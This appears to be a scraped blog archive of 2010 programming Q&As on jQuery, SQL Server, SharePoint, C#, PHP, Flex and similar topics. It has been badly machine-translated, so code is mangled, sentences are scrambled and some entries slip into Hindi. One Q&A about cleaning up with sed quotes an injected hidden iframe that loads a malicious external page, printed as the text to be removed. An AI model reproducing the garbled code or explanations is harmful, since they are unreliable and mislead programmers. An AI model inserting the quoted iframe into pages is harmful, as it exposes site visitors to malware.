Posts

Showing posts from June, 2010

jquery - IE6 scroll event not working inside Iframe -

Then our scenario is ... we have an old website and from that website, on the click of a button, we launch Let us introduce our newly developed application from within an iframe, now in IE6, I am trying to capture scroll events (i.e. catching the scroller of the browser). However, this is not either removing the incident or I am not tapping the right thing. The strange thing is that I am capable of catching this incident if we open our new website directly and do not come from the old website. So this issue is being offending by IFrame ... but I still can not understand it outside We use jquery so I tried ... a) $ (window ) .scroll b) $ (window.parent) .scroll c) $ (window.parent.window) .scroll D) $ (Any help would be appreciated .... Sometimes there may be a problem in fireing events in jQuery if the top-level basic elements have their CSS overflow The property is in addition to auto Be set at naught.

What is the keyboard shortcut to view a SQL Server 2005 (Management Studio) stored procedure -

I heard that the SQL Server 2005 (Management Studio) is a keyboard shortcut to bring the stored procedure code to this key The combination will work similarly to sp_helptext. This may be the only urban legend thanks First thing after setting up Management Studio on a new machine Tools / Options / Environment / Keyboard / Ctrl-F1 == sp_helptext Again, I highlight any view Can be stored, Proc, Function, whatever - and press CTL-F1 and text the object in my results window. Not sure that this is what you want, but it definitely helps me to be more useful in the query window.

Sharepoint workflow approval through Outlook email -

Is it possible and if so; To keep an approach email, where can I accept / reject a SharePoint workflow from within an email instead of navigating to SharePoint? Or is it possible to use InfoPath for approval / sharepoint site rather than in Outlook? Thank you. Yes, but only with Outlook 2007+ There is a "Edit this task" button, which you can use to directly accept or reject work from Outlook.

Incorporating the Windows 7 onscreen keyboard into a WPF app -

Windows 7 has really good onscreen keyboard program / control for touchscreen. I have a touchscreen app that is basically written , And will be posted on XP. Is it possible to include this key directly in my keyboard rather than using custom controls? I'm not getting any program information about it, so any link would be very useful especially, I would need it: Being able to use the keyboard on an XP machine To install .NET 3.5 sp1 on it. To enable it, hide the original keyboard on Windows 7, because I have already added the touchscreen keyboard to my UI and so I do not have to pull the UI towards each other. This basic keyboard two fascinating aspects for it First of all, it gets automatically localized in the customer's language (though the rest of the application will need modification), and secondly, Touch lag 'as the OS tries to find out that I am clearly typing on a keyboard because the app is WPF based, which means Windows 7 based controls Easy with Sho...

jQuery form validation - 'Submit()' problem -

I am trying to learn how to validate a form and I have this problem: When I run this code and I do not enter anything - the form should not be sent, but it does. My question is ... Why and how can I fix it? html: & lt; Form method = "post" action = "#" & gt; & Lt; Fieldset & gt; & Lt; Story & gt; Formular & lt; / Narrative & gt; & Lt; Label = "name" & gt; Name: & lt; / Label & gt; & Lt; Input type = "text" class = "required" name = "name" value = "" /> & Lt; Br / & gt; & Lt; Br / & gt; & Lt; = "Pass" for label & gt; Password: & lt; / Labels & gt; & Lt; Input type = "password" class = "required" name = "pass" value = "" /> & Lt; Br / & gt; & Lt; Br / & gt; & Lt; Input type = "submit" value = "submit!" / & Gt; & Lt; / F...

Difference Betwen Visual C++ 2008 And g++ -

I am learning C ++ and when I Microsoft Visual C ++ Express 2008 and Eclipse Ganymede , but with the G ++ compiler by default, I have seen that VC ++ causes some errors and G ++ generally executed and executed without errors or warnings, but I want to know that VC ++ Between syntax and G ++ syntax What is the difference? Thanks! Please add it to the answer of Powell: If you use cross platform products, Use G ++ () and paste on the C ++ standard Use the POSIX compatible API provided by Mingav, where the standard features do not meet the purpose. A special order is not required to install on an executable target system using MingW, but at VC ++ 2008 it is necessary that So deployment is simple with MingW applications. One advantage of VC ++ is its great IDE Microsoft Compiler looks certain as Windows-specific optimization as well. Still, Mingav complemented with the IDE, can give you a great, free, cross-platform C ++ development environment.

Does anyone kown any open source Stock Control System with ASP.NET or ASP.NET MVC -

Do anyone open any open source stock control systems with ASP.NET or ASP.NET MVC? After working, I plan to help my friend to create a website to manage my products. Very basic functions should have "membership", "low stock notice", "best before information" and so on. I would love to try ASP.Net MVC with this app? If someone is interested in this application, then we can set up a project or open source project and work together. I plan to use the Repository Pattern with Castle Windsor components, and SQL to Linux or NIBNET By the way, I am in the UK Junior C # Developer. However, matte, it looks like a very complicated application, on the surface anyway is. Come with some [simple] features, complete them and then expand as much as you like. My personal taste will be LINQ. This is a great place if you are a junior because there are lots of people here to help you. Have you seen NerdDinner at asp.net? Great place to start If yo...

.net - Handling windowStateChanged - Tab change in IE extension -

IE has to be extended to IE when a tab turns into IE, etc. [ATL Project, VS 2008, C ++ IDISPNintIMPL]] SINK_ENTRY_EX (1, ​​DIID_DWebBrowserEvents2, DISPID_WINDOWSTATECHANGED, WindowState Switch). . . Blank WindowStat Change (Dedworld's Dffags, DWWR Dvvidflagmask); . . . . Zero CHelloWorld :: WindowStateChanged (DWORD dwFlags, DWORD dwValidFlagsMask) {// I do not have anything here yet. Even if I have a piece of code / ATLTRACE, IE just hangs) Whenever I run my code, IE stops working (I have a dialogue "Internet Explorer has stopped working") What's wrong with me? What can be missing in my code? Or, is it a bug in IE8? I am working on Windows 7 (Aval) BTW How stupid i have remembered it: STDMETHODCALLTYPE is my code: SINK_ENTRY_EX (1, ​​DIID_DWebBrowserEvents2, DISPID_WINDOWSTATECHANGED, WindowState Switch). . . Zero STDMETHODCALLTYPE windowstate switch (DWORD dwFlags, DWORD dwValidFlagsMask); . . . . Zero STDMETHODCALLTYPE CHelloWorld :: WindowStateC...

actionscript 3 - How to programmatically drag and drop a Sprite in Flex? -

I need some action code to simulate the drag and drop of the spread, I was thinking that it is possible to do this is? if so? For example, to simulate a click on Sprite, I can get from the following line of code. sprite.dispatchEvent (click on the new MouseEvent (MouseEvent.)); Do something like this: mySprite .addEventListener ("MouseDown", MouseDownHandler); Forum. AddEventListener ("mouseup", mouse mount handler); Protected function mouseDownHandler (e: MouseEvent): zero {e.target.startDrag (); } Secure function mouseDownHandler (e: MouseEvent): zero {e.target.stopDrag (); } You can pass 2 arguments to the startDrag method, first there is a boolean to lock in the center, the second is a rectangular object for the boundary number. For more controlled behavior, you can do something like this instead: mySprite.addEventListener ("mousedown", mouse downhandler); Forum. AddEventListener ("mouseup", mouse mount handler); Pro...

java - Ext-GWT Advanced Form -

I am trying to use ext-GWT, but the given example only shows how to apply the form, Do not submit or process data Are there any end to ending examples of using these? I am trying to create a form in which the text and a file are uploaded, but I do not know how to do anything from the things provided in the example. do this as: panel.setAction (GWT .getModuleBaseURL () + "UploadSystem here"); Panel.setEncoding (FormPanel.Encoding.MULTIPART); Panel.setMethod (FormPanel.Method.POST); And then somewhere in that form where you submit your form (click on the button) Add it: panel.submit (); Also make sure that you create the right HttpServlet where you can split your request into different areas. How to submit a form for more information, you can see on the example.

computer science - terminology to distinguish between languages that can / can't refer to undefined memory -

I have always put languages ​​in 2 types ... which will give you "undefined" (undefined, free, etc.) memory, Such as C, C ++, COBOL (?), Assembly, etc. and those you can not do like Java, Perl, C # and Basic. What is the term "computer science" for this distinction? When we are on it, do I call "undefined memory" as a computer science term? Pointer Safety. I apologize for not giving credit to the original author. I know I have seen Eric Meizer, though it has defined and defined it. Pointer protection (or memory security) is a feature of a program, or all programs in a particular language or other constraint, where the program can not Type security is also such a feature , But generally rigid - if there are some types of types, then this is usually indicative-safe also, in this attribute, memory is referred to as "objects" in which there is one type, and the prog Ram never controls that kind of operation except for that type of oper...

shell - How to pass long strings for search and replace in a bash, sed, or rpl script? -

I am working to create a script which will take a string as an argument and again in a directory Will change Simple case (a word) is handled in a commendable way by finding and replacing the script: grep -rl $ 1 | Xargs sed -i .backup -e "s / $ 1 / $ 2 / g" But here some things get a bit more difficult to deal with I'm trying to get a malware script that I wrote to infect a website (but not the host): & lt; Iframe src = "http: // reycross cn / cua /" width = 0 height = 0 style = "hidden" frameborder = 0 margin-bit = 0 margin width = 0 scrolling = no & gt; & Lt; / Iframe & gt; This string is clearly complex and will require some escape for both. I have experimented with RPL, a special purpose replacement tool, but it does not properly control white space: rpl -pR $ * '* * * * However, I'm able to change the $ * with the string and get the expected behavior. Any ideas about how to dispute a tiger, sed, ...

c# - Protecting class in a namespace -

Within a namespace I have a utility class which is functional only for one main category which I am exposing. How can I hide it? Create internal your class and work with it in different assemblies or Make a private nested class of its main category. Public category A {Private class B {...} ...}

asp.net - Looking for a Pattern for Keeping Page Field Values on Returning to the Page -

I have, e.g. A list page with list inputs, one of which can navigate to the capture page, where they can capture some time before returning to the list page. When they return to the list page, I would like them to automatically re-apply their previous filters. This is not a rocket science problem, so I'm sure there are already numerous solutions, but I hope to get some answers here that I usually use patterns to solve it Raised as I mean, with a page per page, for the session object for the 'pre-set' page, it can be extended to pre-set for long periods to store a longer duration than the session. I have some helpful functions in the utility class, where I pass through the controls that save me or load To do this, I usually call the load at the initial page load for the session, and the user will call the saved function when searching or whenever I have to save. I am making a new surcharge for every kind of control here to save the session here is one for textbo...

webrequest - How can I fetch full name and picture from any user's Facebook page? -

I want to access public information about any user on Facebook. Actually, it means only user image and full name, all this is. When you open a page without logging in, it is such information: However, when I try to do this with code, Facebook gives this message Is: "You are using an incompatible web browser." I'm trying to duplicate a Firefox browser, but that does not work. Am I doing something wrong? Or is using other techniques to block Facebook? var requestString = "http://www.facebook.com/jurgenappelo"; Var Request = (HttpWebRequest) WebRequest.Create (requestString); Request.Headers.Add ("HTTP_USER_AGENT", "Gecko / 20050511 Firefox / 1.0.4"); Try {HttpWebResponse response = (HttpWebResponse) request.GetResponse (); If (response! = Null) {if (response status code == htmlttatus code.OK) {stream stream = response. Gateresonsstream (); (StreamReader Reader = new streamrider (stream)) using {var html = reader.ReadToEnd ();...

architecture - How to validate software design? -

I am very lonely at my workplace when we think of the overall design of those applications that we are building. I do not have anybody to discuss the different frameworks, techniques, patterns, layering and so on with professionals and opposition. Other programmers either do not care or do not think that "old way" is ok, because this is not because these applications are difficult to maintain, not tested, etc. How can I find any thoughts like brains, reviews of applications or ...? I would rather not change the employer but he is not involved. This is definitely sad, when other programmers care little about good software design only Some things that I can suggest to do are: Follow some of the best developers around the world on your blog to get insights into your thoughts. Continue encouraging those people to be interested in good design If there is no local to validate your designs, then you can make friends with other developers and ask them for valid idea...

python - How can I parse JSON in Google App Engine? -

I want to parse a JSON string in an object under Google App Engine (Python). what do you recommend? Some words / strings will also be good for transcribing, do you recommend joining your app, or a library? is it safe? Thank you. Consider using , which is included with GAE. Import simple json as jjson # from Django.utils # Load object from string obj = json.loads (string) Above Links are examples of Django's serializer, and here's the link. If you are looking for Python Class to process examples or objects (contrary to the compositions of lists, strings, numbers and dictionaries), then you probably want to see. I hope it helps. Incidentally, to get Django 1.0 (instead of DJ ango 0.96) to run on GAE, you can use the following call in your main.py, copy: Edit_library ('django', '1.0') from google.appengine.dist Edit: Google App Engine 1.6 with Python 2.7 as Google App Engine 1.6.0, you can import runtime: python27 in app.yaml , and then ...

c# - Base Class Library -

I'm new to C #, C ++ and Net. I am currently returning from programming, I have used the term in Networking and Cisco Engineering for the use of programs like Cobol, Enbaliller, Sequentalty, Rex and Cliste etc. in IBM Mainframe etc. so that Command Syntax Me Be familiar with programming standards and frameworks. Although I am doing a lot of things, there is a problem getting caught by BCL and how to understand the various components and how it is designed for each and every situation and which one can be best used , And actually how it is actually used and coded. I am often scratching my head that how do I get code from details about the components of BCL? Basically how to use them and they do not have any intuitive medium. So my question is, in addition to the MSDN Library, which is a bit more complicated than my current needs, is there a good reference book, site, PDF, which is the most commonly used NET components like systems. Can IO give proper details, usage notes...

PHP/MySQL: How to create a comment section in your website -

Instead of asking 'How to use PHP / MySQL' to affect the webpages, I would ask because I know better than projects and examples. How do I include a very basic comment feature using PHP and MySQL? This is a difficult question to answer without further information on implementing comments on the existing website. There are many things to consider. How would you address the issue of spam? It does not matter how far your website is, spammers will find it and they fill it with no time. You might want to see something like reCAPTCHA (). The structure of the website can also affect how you implement your comments, is the comment for the overall site, a particular product or page, or another comment? You will need to know the relationship between content and comment so that you can properly define the relationship in the database. To keep it in another way, you know that you want an email address, comment, and whether it is approved or not, but now we need a way to ident...

objective c - Reload model for UITableViewController before [tableview reloadData] -

This is my first attempt in iPhone development and I have some UITableViewController which will show data as a webservice returned from. In my AppDelegate, I have set up a timer that is called every few seconds and reloads the model. I keep the same object reference and only refresh the content, so I have the same object on any UITableViewController which is currently visible. When the data applet, I call: [[(UITABLE viui controller *) [self. Navigation controller top widget controller] tableview] reloaded data]; Model is basically a collection of file objects. Each file object has some properties and flags. This works very well if the current UITableViewController is a simple table with a segment, which maps to each map files . Cell in a sequential index on the array of But I'm one of the UITableViewController s that shows it by the file and the code On the basis of the flag, we will show 2 or 3 sections. I have put this argument here: - (NSIn...

sql - only update 1 column with linq -

I am using linq to obtain a line from a table in the database. Now I only update 1 column. Then I update it back into the database. It goes well, many times in addition to any other process / thread / user that has changed any of the other areas from the case I get an exception (optimistic concurrency), let me see this Since then, since the last time I received the object with the linak, the values ​​have been changed since then. Since I'm only interested in 1 column, can I just tell Lincoln to update this column and ignore others? (And warned me that this is a column actually changed) R You can solve your concurrency issues by locating and catching one: (on top db = new MyDataContext ()) using {var row = db. MyTable.Single (X = & gt; x.Id == TableID); // Getting the Line Row Column = column NewValue; // Try the new value {db.SubmitChanges (); } Hold (symbolic flexion) {db.ChangeConflicts.ResolveAll (refresh mode.cip change); Db.SubmitChanges (); }} With al...

Arc / Circle animation in iphone -

How do I animate an circle on the iPhone so that the arc starts at "0 degree" and "360 degrees"? Thank you in advance, Saturn You need to read. (I'm assuming you're making an app with Cocoa Touch API, not a web app.) You should also know how to set up custom animation, you need to create custom UIView or CALayer to create a picture, and Creating a property (arc degree) that can be animated with a CAAnimation object. Alternatively, you can control the animation rather than the NSTM. You want to do a lot to understand these sections (and others).

optimization - passing a string by reference to a function would speed things up? (php) -

संभव डुप्लिकेट: मुझे आश्चर्य है कि संदर्भ से पैरामीटर पास घोषित करके, PHP इंटरप्रिटर को कार्य के स्थानीय क्षेत्र में स्ट्रिंग की प्रतिलिपि बनाने के लिए तेज़ हो जाएगा? function escapeCSV (& $ string) {$ string} = Str_replace ('' ',' '' ', $ string); // प्रत्येक "से" बचें अगर (स्ट्रॉप्स ($ स्ट्रिंग,', ')! == गलत) $ string =' ''। $ String ' "'; // यदि एक क्षेत्र में अल्पविराम है, तो उसे गोलाकार उद्धरण चिह्नों के साथ संलग्न करें $ स्ट्रिंग लौटें; } इस से तेज़ होना: फ़ंक्शन एसेक सीएससी ($ स्ट्रिंग) {$ string = str_replace ('' ',' '' ', $ स्ट्रिंग ); // बचें हर "से" "अगर (स्ट्रॉप्स ($ स्ट्रिंग, ',')! == गलत) $ string = '' '। $ String।' ';'; '; // यदि एक क्षेत्र में अल्पविराम है, तो उसे गोलाकार उद्धरण चिह्नों के साथ संलग्न करें $ स्ट्रिंग लौटें; } ? नहीं सोचें, प्रोफ़ाइल । चलाने वाली स्क्रिप्ट जो 100,000 पुनरा...

google app engine - Iterating over model attributes when creating a template in Django -

I am using Django in Google App Engine. If I have a class class person (): first_name = stringProperty () last_name = StringProperty () And I have an example where the person. First_name = bob and Person.last_name = Vance, can I create a template that repeats on individual attributes for production: & lt; Tr & gt; & Lt; TD & gt; First & lt; / TD & gt; & Lt; TD & gt; Bob & lt; / TD & gt; & Lt; / TR & gt; & Lt; TR & gt; & Lt; TD & gt; Last & lt; / TD & gt; & Lt; TD & gt; Vance & lt; / TD & gt; & Lt; / TR & gt; Perhaps more precisely, there is a model .as_table () method that will print the properties of my example, Bob Vance? You can not use __underscored__ attributes or functions in the template. I suggest that you create a function in your model / class: class.model: first_name = models.charphield (max_length = 256) last_name = models.CharField (max_length = 256) Def att...

moss - How do I implement user theme switching in SharePoint? -

My client wants to provide 2 themes for a SharePoint application. Is there a strategy to complete this in MOS 2007? We want to switch user profile-based theme selections, and even a drop-down mode. I do not know how wide you want that you should be re-themes, though if it is only CSS If so, you can use this approach: Store CSS files for different topics in the style library. Write a feature and allow the user to change their theme. Write a control that performs a lookup on the list against the current user and receives a reference to the same CSS file in the style library. Control will then output and control the page for this file. Add this control to the master page so that it can be implemented on every page (caching should be added). I do not know why it will not be supported by Microsoft because you are only changing CSS. If you then have another option to write an HTML module that changes the HTML output. Or essential javascript You can have helpf...

ado.net - Is there support in the .NET Framework to map .NET data types to their corresponding SqlDBType? -

I am curious if the same calculation of .NET data types to map to the .NET framework represents SqlDbType in SQL data type. For example: SqlDbType = some functions (GetType (myObject) as mySqlDbType dimension You are searching.

css - HTML: Change height of <p> -

How do I specify the height of the line which is & lt; P & gt; makes? In your Style Sheet, or Style Sheet section, define: (example) p {margin-top: 0.6m; Margin-down: 0em; } You can mark it as personal tag & lt; P style = "margin-top: ....." & gt;

css - Anchor Tags lower on my page Disappear when I use absolute positioning to position my menu -

I'm using it instead of my menu, it works on all browsers, but links in the rest of my (Anchor tag) Page closing work The menu is in the right place, but any link or image map will not work in most browsers Sorry I'm new on this Do you look at the source code-thank you, I'm actually trying to get it, But I'm sure stuck. Success! - Removing down: 0 worked - Thanks for all the help I am most thankful! & lt; Div align = "center" style = "margin: auto; left: 0pt; right: 0pt; bottom: 0pt; position: full; top: 197px; z-index: 1;" & Gt; Remove "below: 0pt" and everything is fine for this problem. But one thing, you should keep the styles in your CSS file for this CD; )

c# - unit test dynamic loading code -

I was reading and found this code as an aswer as a question Public listing & lt; T & gt; LoadPlugin & lt; T & gt; (String directory) {type interface type type = type (t); & Lt; T & gt; Implementation = new list & lt; T & gt; (); // TODO: Check to ensure the type, valid foreach (var file in System.IO.Directory.GetFiles (directory)) {// TODO: Include the proper file handle here and / ensure that the files are not. Try Vari type in Dll {foreach (system.Reflection.Assembly.LoadFile (file). GetTypes ()) {if (interfaceType.IsAssignableFrom (type) & InterfaceType! = Type) // // Applicable class Found: / / TODO: Check additional to ensure interface / pre-specified any // requirement: make sure that the type is a class, default constructor etc. Example = (t) activator. CreateInstance (type); Implementations.Add (example); }}} Hold {}} return deployment; } And it was thinking that would be the best way to test this code? There are three unrelate...

osx - Problem in plug-in development: Eclipse 3.4 can't find a bundle that is definitively there! -

Today I had a problem with my old Eclipse 3.4 installation and I had to download the entire package again. However, I do not think I have received the exact package as before, and I have some problems. This problem can be summarized as follows: When the plug-in is developed, I can not resolve Dependencies on 'org.eclipse.jdt.ui' When attempting to add a plugin, the closest match in the dialog is 'org.eclipse.jdt.ui ** ** Source **'. Nothing similar happens with other core plugins. For testing, I have created a new plug-in using the magician and I have received a non-compiling plugin: one class from classes Org.eclipse.jdt.ui .JavaUI and it can not be resolved. Similarly, MANIFEST.MF includes dependence on 'org.eclipse.jdt.ui', but ' bundle' org.eclipse.jdt.ui 'can not be resolved '. Now the essence of my forum: I'm running Mac OS X 10.4 Tiger and Java 1.5.0_19-138 I'm running Eclipse version: 3.4.1 Build id: M 20080 ...

Collections Question (.NET 3.5, C#) -

I'm stuck and need help with me anyway I have a Visual Studio 2008 console program that is a game, every strong Need to log the date, string, boolean and integer. Say user plays 10 rounds, I have 10 in each I want to store those data in a data structure (in the archive I believe) and then after the game is over, it has ended after presenting a simple console report. I'm stuck it sounds like a simple thing, but I'm not getting the solution. I think there are many ways to accomplish it, but I am looking for the simplest solution. Edit: I wanted to simplify the answer, but maybe I Too much simplified I changed the temporary structure below (which is a bad idea, thanks for reminding me), with a class, and also properties. First of all, create data types to keep information: Public square RoundInformation {public date time {get; Set; } The name of the public string {get; Set; } Receive Public Boolean DidCheat {}; Set; }} Then create the list to keep it: ...

windows - Browser Compilation Error for Flex -

I have a strange problem that the mission is not important because I can use the command line with no prob. In my first post , I was having problems working with web converter. Now that it is working, I use it to compile it in the browser: http: //localhost/flex/topsight.mxml? Username = XXXxx and password = XXXXX and I get this error as a result: error: could not be resolved for a component implementation 34 9 & Lt; Mx: filter & gt; 350 & lt; Mx: drop shad filter alpha = ".25" angle = "90" /> 351 & lt; / Mx: filter & gt; Everything is legal and the most recommended solution is that the namespace is not correct. I have checked them and they are ok Other answers I am creating a problem related to external components, but as you can see, I am not using external component. Here's the kicker if I make a compilation through the command line: mxmlc topsight.mxml This is completely Compiles The specs are still from e...

php - Uploadify - files not showing up -

I'm trying to use Uploadify (a jQuery plugin) with my CakePHP app. Locally (WampServer), it works great, but when I try on my live server, files do not appear, I've pasted the folders correctly, checked the paths, etc., and I can not understand why this is not working. Here is upload.php: if (! Empty ($ _ files)) {$ tempFile = $ _FILES ['filedata'] ['tmp_name']; $ TargetPath = $ _SERVER ['DOCUMENT_ROOT'] "/ apps / webroot / posts / temporary /"; $ TargetFile = str_replace ('//', '/', $ target path). $ _FILES ['Filedata'] ['name']; $ TargetFile = str_replace (".", "_". Mt_rand (1000000099999999). ".", $ TargetFile); Move_uploaded_file ($ tempfile, $ targetFile); } "1" echo; This script is definitely being run, but I have seen the specified folder (and on all file systems), and the uploaded file (buses) is not visible right now! This is driving me crazy - hopefully ...

php - How do I write internal style sheets in Zend Framework? -

I would like to write an internal style sheet as a sequence in the Zend Framework such as & lt; Top & gt; & Lt; Style type = "text / css" media = "all" & gt; Body {background: #FFFFFF; } & Lt; / Style & gt; & Lt; / Head & gt; I understand that I $ this-> view-> gt; HeadLink () - & gt; I can write an external style letter using the attached style sheet ('style.css'); Although I can not find any way to write an internal style sheet any thoughts? What you're looking for is called the headstyle view assistant. Its manual documentation can be found. Headset Assistant is API compliant all head * will look helpful, and it works (the following assumes you are in a thought mark): // Put styles in sequence: // These methods assume a string argument containing style rules. // Specially offset at place: $ this- & gt; HeadStyle () - & gt; Offsetet Style (100, $ customstyle); // Excluded S...

osx - Trouble getting MAMP to work with PDO-MySQL -

समस्या: चालक समस्या के कारण सिद्धांत परीक्षण आवेदन काम नहीं कर रहा है। सेटअप: मैक ओएस एक्स 10.5.7 (सर्वर नहीं), एमएएमपी 1.7.2, सिद्धांत 2.2.1, PHP 5.2.6 मैं अपने स्थानीय मशीन पर एक विकास वातावरण को स्थापित करने की कोशिश करने के लिए सिद्धांत का पालन कर रहा हूं। वेब से पृष्ठ चलाने का उत्पादन (एमएएमपी के माध्यम से) एक खाली स्क्रीन दिखाता है (मैं मान रहा हूँ क्योंकि त्रुटियों को एमएएमपी के माध्यम से नहीं दिखाया गया है)। अगर मैं अपने टेस्ट एन्वायरमेंट (डेबियन लेनी) पर पेज चलाता हूं तो सबकुछ पूरी तरह से काम करता है और स्क्रीन पर आउटपुट होता है। मैं इसे घंटों तक समझने की कोशिश कर रहा हूं और मैं इसके लिए सक्षम नहीं हुआ हूं। justingiboney $ php test.php घातक त्रुटि: अनदेखा अपवाद संदेश के साथ 'PDOException' ':) # 0 /Applications/MAMP/htdocs/doctrine_test_site/bootstrap.php(16: PDO- & gt; __ निर्माण (/Applications/MAMP/htdocs/doctrine_test_site/bootstrap.php:16 स्टैक ट्रेस में' mysql ड्राइवर नहीं मिला: dbname = पिता ... ',' **** ',' **** ') # 1...

c# - Why couldn't I check for a null reference on a connection string? -

Maybe there is a C # noob question, so do not flame me. I was trying to do this: If (configuration manager select connection ["primary connection connection"]. ConnectionString! = Null) {// ...} but give me a system Zero Refreshment Exposure was getting. I thought because it returns a string that I can only check null and move forward. It takes me a while to find the right way to do this: Connection String Settings CS = Configuration Manager. Connection Strings ["PrimaryConnection String"]; If (CS! = Null) {this.Connection.ConnectionString = cs.ConnectionString; } So in other cases, checking for a session object for some value, I will check the null like this: if (session ["employee ID"] = null) {_EmployeeID = System.Convert.ToInt32 (session ["employee ID"]); } So I wanted to know how do you know that when you can not check for null or can not? Your blank reference exception in the parent object (Configuration...

c++ - Implement IDropTarget -

I would like to drag and drop files from the windows explorer which is being created in the codeWare RAD Studio 2009. Then I would like to be able to access the data from that object which I am pulling and leaving. I believe I have to implement the ID Prutagage. Will someone please provide this example, how can I apply IDProts to achieve it? Michael Dunn is at codeproject.com, which shows how IDropTarget Implement and use data from inside IDataObject which is used to store data during drag and drop operations.

libxml for C++: How to add a root node to XML tree? -

मेरे पास एक XML फ़ाइल है जो निम्न की तरह दिखती है & lt; siteinfo & gt; ... & lt; / siteinfo & gt; & LT; पृष्ठ & gt; & Lt; title & gt; ... & lt; / title & gt; & LT; संशोधन & gt; ... & lt; संशोधन & gt; & Lt; / पृष्ठ & gt; इसमें रूट / संलग्न नोड नहीं है इसलिए मैं अपने कार्यक्रम को चलाने पर "दस्तावेज़ के अंत में अतिरिक्त सामग्री" प्राप्त करता हूं। Libxml का उपयोग करने के लिए फ़ाइल को खोलने के बाद, क्या यह आसानी से पार्स ट्री को रूट / संलग्न नोड जोड़ना है? यदि आप स्रोत एक्सएमएल की संरचना नहीं बदल सकते हैं, तो एक आसान तरीका है जैसे स्ट्रिंग बनाने के लिए: स्ट्रिंग xml = string (" & lt; root & gt; " ) + File_contents + string ("& lt; / root & gt;"); तब आप आसानी से इस स्ट्रिंग को पार्स कर सकते हैं। वैसे, जब आप सी ++ का प्रयोग कर रहे हैं, आपको एक कोशिश देना चाहिए libxml ++ यह libxml के लिए एक सी + + आवरण है और यह बहुत अच्छा है।

.net - determine the user on SharePoint -

How can I know user logging on SharePoint via code? I'm using WebPart inside SmartPart and a user control inside it. You can get information with the user: SPContext .Current.WebCurrentUser Here's some information like email, id, group, name ... type Ctrl + Space;) Hope this Helps ...

sql server - SQL to determine distinct periods of sequential days of access? -

Asked recently and answered some good answers. The problem of Jeff revolves around finding users who have (N) use the database table structure as the following day, where they are logged in to a system: id user revenue CreationDate ------ ------ ------------ 750997 12 2009-07-07 18: 42: 20.723 750 998 15 2009-07-07 18: 42: 20.927 751000 19 2009-07-07 18:42: 22.283 For further clarity, read more ... How many different for a user (n) Problem setting day duration Was the secret of One of the fastest SQL queries that can provide a list of users can be crafted and the number of specific (N) days of the day they edit : According to a comment below, one has two consecutive days, then one gap, then 4 consecutive days, then an interval, then 8 consecutive days. This will be 3 "different 4 days duration", the 8-day period should be calculated as a two-to-back 4-day period. My answer appears does not appear ... I I will try ... The answer to Rob Farley for th...

java - JarFile from inside a *.jar or inputstream to file? -

I have jars or war. I am studying this jar programmatic, and when I get the jar inside the jar I want to read the programmatic again. But the jarfile only provides, provides the inststream, which I can not go to the garfield (file file) constructor. How to read a jar from a jar? Edit: I was thinking of getting a file from classloader in some way or such You can create a jar file in the file system, something like file tempFile = TempFile.createFile ("new jar", ".jar"); After typing the stream into it, you can create your own jarfile (tempfile) and handle it ... Forget about this The program is running as an unsigned applet / JNLP because you do not have the right to create files in the file system ...

c++ - MSVC++ how to ouput something to the "output"-window during compilation -

Sometimes I see that some projects write something in the output while compiling. How can it be obtained in MSVC ++ Thanks! Usage #pragma message for example #define MESSAGE (t) message (__ file__ "(" STRINGXXX (__ LINE__) "):" T "#define STRINGXXX (x) STRINGYYY (x) #define STRINGYYY (x) #x Then if you enter #pragma MESSAGE ("TODO: test") this would be like normal compiler messages Appears as a clickable message

How to select all radio buttons with a specific value and make invisible with jQuery? -

"A selectedValue as a solution that is invalid because it does not exist in the list of items." Error due to zero values ​​in the database bound for a radio button, I want to add an additional radio button with a value of "" which will tie the radioobutonist to the tap. I'm going to be a lot of them, so I want to select all the radio buttons that have "value" and have to hide them. Note, I want to determine which button the radio has been selected from. I tried: $ (document) .ready (function () {$ ("radio [value = ''"]. Hide ();}) But no luck. Try it: $ (': radio [value = ""]'). Hide (); Or this: $ (': Radio [value =]'). Hide ();

c# - The caller was not authenticated by the service in WCF service -

Thank you for your reply, but there is no luck with that code .. I will send you a complete config file related to the service and application Sending .. Give me a valuable suggestion. service web.config application web.config thanks in advance Maybe it is possible that authentication is set to anonymous rather than Windows. Check your IIS configuration and web.config for the difference in your Low Cal Machine and Test Machine which is failing. In addition, you are trying to reach IIS on a remote machine, while you are logged in as a local user.

Does column exist and how to rearrange columns in R data frame -

How do I add a column in the middle of the R data frame? I want to see that I have a column called "LastName" and then it does not already exist, then add it as the third column. 1) Test for survival: Use% in colnames in%, e.g. & gt; Example (data.frame) # to get 'd' & gt; "Fac"% (d) [1] in% Colnames true & gt; % Colnames in "bar"% (d) [1] FALSE 2) You must essentially create a new data frame from the new half of the old data, your new column, and Second half: & gt; Bar and lt; - Data. Frame (D [1: 3,1: 2], LastName = C ("Flim", "Flom", "Flame"), FAP = D [1: 3,3]) gt; Bar XY Last Name FAC 1 1 1 Flim C2 1 2 Flom A3 1 3 Flame A & gt;

ruby - Why does Eclipse complain about "Feature envy" smell in my code? -

Eclipse (RedRails) निम्नलिखित कोड में शिकायत करते हैं: यदि input_text = ~ /^(---\s*\n.*?\n?)(---.*?)/m content_text = input_text [($ 1. आकार + $ 2. आकार) ..- 1] # चेतावनी $ 1 हेडर = YAML.load ($ 1) @content = content_text.strip () @title = header ["title"] अंत मेरी समझ यह है कि मैं इस चेतावनी को अनदेखा करने के लिए सुरक्षित है। लेकिन मैं भटक रहा हूं कि यह चेतावनी क्यों उत्पन्न होती है। मैं समझ नहीं सकता कि मैं कैसे $ 1.size और $ 1 के लिए विधि निकाल सकते हैं। स्ट्रिंग में होनी चाहिए। स्ट्रिंग लंबाई जोड़ते समय यह बेशक बकवास है, लेकिन आपके मामले में $ & amp; (पूर्ण मिलान स्ट्रिंग) का उपयोग करके कोड सरल किया जा सकता है: इनपुट_टेक्स्ट [$ & amp;। आकार .. - 1]

msbuild - How to chain TFS builds? -

I have a scenario where I want to call a TFS build second, build first and the second one Does scaffolding This will allow me to do more than one custom staging for the same solution. I know, I can turn it off with an ADish work in the second build and call tfsbuild.exe for build queue from the first build definition. . But what was thinking that someone knows better? It depends on what you are trying to do. / P> 1) Do you want build + staging to run as an operation? So that you end up with a consolidated build report, a log file, a job in the server's build queue, executed by the same build agent executed by the previous step, each step executed sequentially? If so, then you are basically on the right track. I & lt; Exec will not be out of tfsbuild.exe though - there are many overheads to run a whole new building, and I'm not sure what the potential side effects are. Instead, I define your Staging script (S) To execute MSBULD tasks, & lt; The call wi...

excel - How to change column names from VBA -

